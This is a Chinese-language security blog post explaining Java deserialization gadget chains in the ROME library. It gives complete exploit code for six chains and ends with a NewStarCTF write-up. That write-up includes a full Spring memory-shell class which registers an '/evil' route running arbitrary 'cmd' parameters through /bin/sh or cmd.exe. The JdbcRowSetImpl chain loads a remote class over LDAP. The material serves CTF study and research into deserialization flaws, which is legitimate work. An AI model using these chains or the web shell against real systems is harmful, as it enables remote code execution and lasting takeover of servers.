目录

  1. 1. 前言
  2. 2. Rome
    1. 2.1. 环境
  3. 3. EqualsBean链
    1. 3.1. ToStringBean.toString
    2. 3.2. 调用 toString
    3. 3.3. HashMap完整构造
  4. 4. ObjectBean链
  5. 5. HashTable链
  6. 6. BadAttributeValueExpException链
  7. 7. HotSwappableTargetSource链
  8. 8. JdbcRowSetImpl链
  9. 9. 缩短payload
  10. 10. 例题
    1. 10.1. [NewStarCTF]Rome

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Rome反序列化

2025/2/17 Web Java 反序列化
  |     |   总文章阅读量:

前言

参考:

https://boogipop.com/2024/02/12/%E6%98%93%E6%87%82%E7%9A%84Rome%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%88%E6%9B%B4%E6%96%B0%EF%BC%89/

https://xz.aliyun.com/news/12214

https://drun1baby.top/2022/10/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BROME%E9%93%BE

https://luokuang1.github.io/2025/02/06/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://zjackky.github.io/post/java-security-rome-chain-1ojxop.html

和 FastJson 高度相似,因为都会调用任意的 setter 和 getter 方法,从而导致RCE


Rome

是一个有用的工具库,帮助处理和操作 XML 格式的数据。ROME 库允许我们把 XML 数据转换成 Java 中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将 Java 对象转换成 XML 数据,这样我们就可以把数据保存成 XML 文件或者发送给其他系统。

总之,就是一个 RSS 阅读器

ROME提供了 ToStringBean 这个类,提供深入的 toString 方法对 Java Bean 进行操作。

环境

maven 模板直接 quickstart 即可

<dependency>  
    <groupId>rome</groupId>  
    <artifactId>rome</artifactId>  
    <version>1.0</version>  
</dependency>  
<dependency>  
    <groupId>org.javassist</groupId>  
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>  
</dependency>

EqualsBean链

看一下 ysoserial 上的调用栈:

* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

和 cc 链相似的调用,最后是通过 TemplatesImpl 来实现任意类加载,开头是通过 hashmap 的 readObject 方法来完成调用

ToStringBean.toString

直接看核心的 ToStringBean.toString,前面提过 rome 可以像 fastjson 那样任意调用 setter 和 getter,而 ToStringBean.toString 方法就是对 Java Bean 进行操作

image-20250217173421580

先通过 BeanIntrospector.getPropertyDescriptors(_beanClass) 获取到 _beanClass 中的任意 getter 方法

在获取完任意 getter 方法后,做了一系列基本的判断 —— 确保 getter 方法不为空,确保能够调用类的 getter 方法,确保里面可以传参

判断结束后执行

Object value = pReadMethod.invoke(_obj,NO_PARAMS);

这里的 pReadMethod.invoke() 就类似于之前在反射中的 method.invoke() 一样

那么就和 fastjson 一样,TemplatesImpl.getOutputProperties() 明显是满足这个条件能被调用的方法

拿反射类比的话就像这样:

Class _beanClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object _obj = _beanClass.newInstance();
Method pReadMethod = _beanClass.getDeclaredMethod("getOutputProperties");
pReadMethod.invoke(_obj,NO_PARAMS)

// 等价于 TemplatesImpl.getOutputProperties()

然后向上跟踪一下 invoke 的这两个参数

image-20250217174942283

image-20250217175052238

构造函数直接赋值这两个参数,一个是 Class 对象另一个是 Object 对象

因为ToStringBean.toString(String)方法是 private 方法,就可以看看哪里调用了 toString(String),这里就在它的另外一个toString 方法里面

image-20250217180020890

那么可以先构造这一步的poc:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;

public class ToStringBeanExec {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.getTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
        toStringBean.toString();
    }
}

image-20250217175812595

调用 toString

接下来找调用 toString 的地方

这里是 EqualsBean#beanHashCode

image-20250217180259301

那么调用就很明显了

image-20250217181027243

equalsBean 和 toStringBean 是一样的写法

构造下一步的poc:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;

public class EqualsBeanExec {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.getTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
        
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        equalsBean.hashCode();
    }
}

image-20250217181104137


HashMap完整构造

urldns链同款操作

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.util.HashMap;

public class EqualsBeanChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.getTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap hashMap = new HashMap();
        hashMap.put(equalsBean,"0w0");
        
        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

image-20250217181442016


ObjectBean链

ObjectBean 来替换 EqualsBean,代码基本不变,只变了这一句:

ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

HashMap hashMap = new HashMap();
hashMap.put(objectBean,"0w0");

完整的poc:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.util.HashMap;

public class ObjectBeanChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.getTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        HashMap hashMap = new HashMap();
        hashMap.put(objectBean,"0w0");

        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

HashTable链

这条链子实际上就是在 HashMap 被ban的情况下进行反序列化,因为最终目的始终都是调用 hashcode 函数,而 HashTbale 中刚好调用了 hashcode,因此仍然可以触发整套流程

image-20250217221633072

image-20250217221755393

Hashtable hashtable= new Hashtable();
hashtable.put(equalsBean,"0w0");

完整的poc:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.util.Hashtable;

public class HashTableChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.getTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        Hashtable hashtable= new Hashtable();
        hashtable.put(equalsBean,"0w0");

        String barr = Utils.Serialize(hashtable);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

BadAttributeValueExpException链

此事在 cc5 中亦有记载,BadAttributeValueExpException 触发 toString,于是连上 ToStringBean

poc:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.util.HashMap;

public class BadAttributeValueExpExceptionChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.getTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
        
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);

        String barr = Utils.Serialize(badAttributeValueExpException);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

HotSwappableTargetSource链

此事在西湖论剑 ez_api 中亦有记载,通过 HotSwappableTargetSource#equals 调用 Xstring#toString,于是接上

poc:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;

public class XStringChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.getTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

        HashMap<Object,Object> hashMap = makeMap(h1,h2);

        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Utils.SetValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Utils.SetValue(s, "table", tbl);
        return s;
    }
}

JdbcRowSetImpl链

fastjson 反序列化里提过这个类

这条链子和之前的没关系,产生漏洞是因为当时链尾的时候的调用任意 getter 方法,一开始我们是去调用 TemplatesImpl#getOutputProperties() 的,现在我们可以用 JdbcRowSetImpl 这条链子

链子分析已经在 fastjson 篇分析过了,直接上poc:

package com.example;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.util.HashMap;

public class JdbcRowSetImplChain {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        // EXP为我们的恶意类
        String url = "ldap://127.0.0.1:1230/ExportObject";
        jdbcRowSet.setDataSourceName(url);


        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "0w0");

        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

既然是 JNDI 就要注意 jdk 版本问题


缩短payload


例题

[NewStarCTF]Rome

拿到 jar 包解压反编译

直接看controller

package remo.remo;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class SerController {
    public SerController() {
    }

    @GetMapping({"/"})
    @ResponseBody
    public String helloCTF() {
        return "Do you like Jvav?";
    }

    @PostMapping({"/"})
    @ResponseBody
    public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
        if (EXP.equals("")) {
            return "Do you know Rome Serializer?";
        } else {
            byte[] exp = Base64.getDecoder().decode(EXP);
            ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
            ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
            objectInputStream.readObject();
            return "Do You like Jvav?";
        }
    }
}

看一下 lib

image-20250219170856225

可以直接打 rome 反序列化

测了下发现 buu 题库里的靶机没出网,得打个内存马

内存马参考:

https://blog.csdn.net/weixin_39190897/article/details/140571199

https://todis21.github.io/2023/11/06/Spring%E5%86%85%E5%AD%98%E9%A9%AC/

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class InjectToController extends AbstractTranslet {

    public InjectToController() throws Exception {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = InjectToController.class.getMethod("exec");
//        PatternsRequestCondition url = new PatternsRequestCondition("/evil");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
//        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        RequestMappingInfo info = RequestMappingInfo.paths("/evil").options(config).build();
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }

    public InjectToController(String arg) {}

    public void exec(){
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder("cmd.exe", "/c", arg0);
                }else{
                    p = new java.lang.ProcessBuilder("/bin/sh", "-c", arg0);
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                response.sendError(404);
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Utils 新增:

private static byte[] GenerateMemShell() throws Exception{
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.getCtClass("com.example.InjectToController");
    return ctClass.toBytecode();
}

直接用 xstring 链打:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;

public class XStringChain {
    public static void main(String[] args) throws Exception {
//        TemplatesImpl tpl = Utils.getTemplatesImpl();
        TemplatesImpl tpl = Utils.memTemplatesImpl();

        ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

        HashMap<Object,Object> hashMap = makeMap(h1,h2);

        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
//        Utils.UnSerialize(barr);
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Utils.SetValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Utils.SetValue(s, "table", tbl);
        return s;
    }
}

image-20250219182716500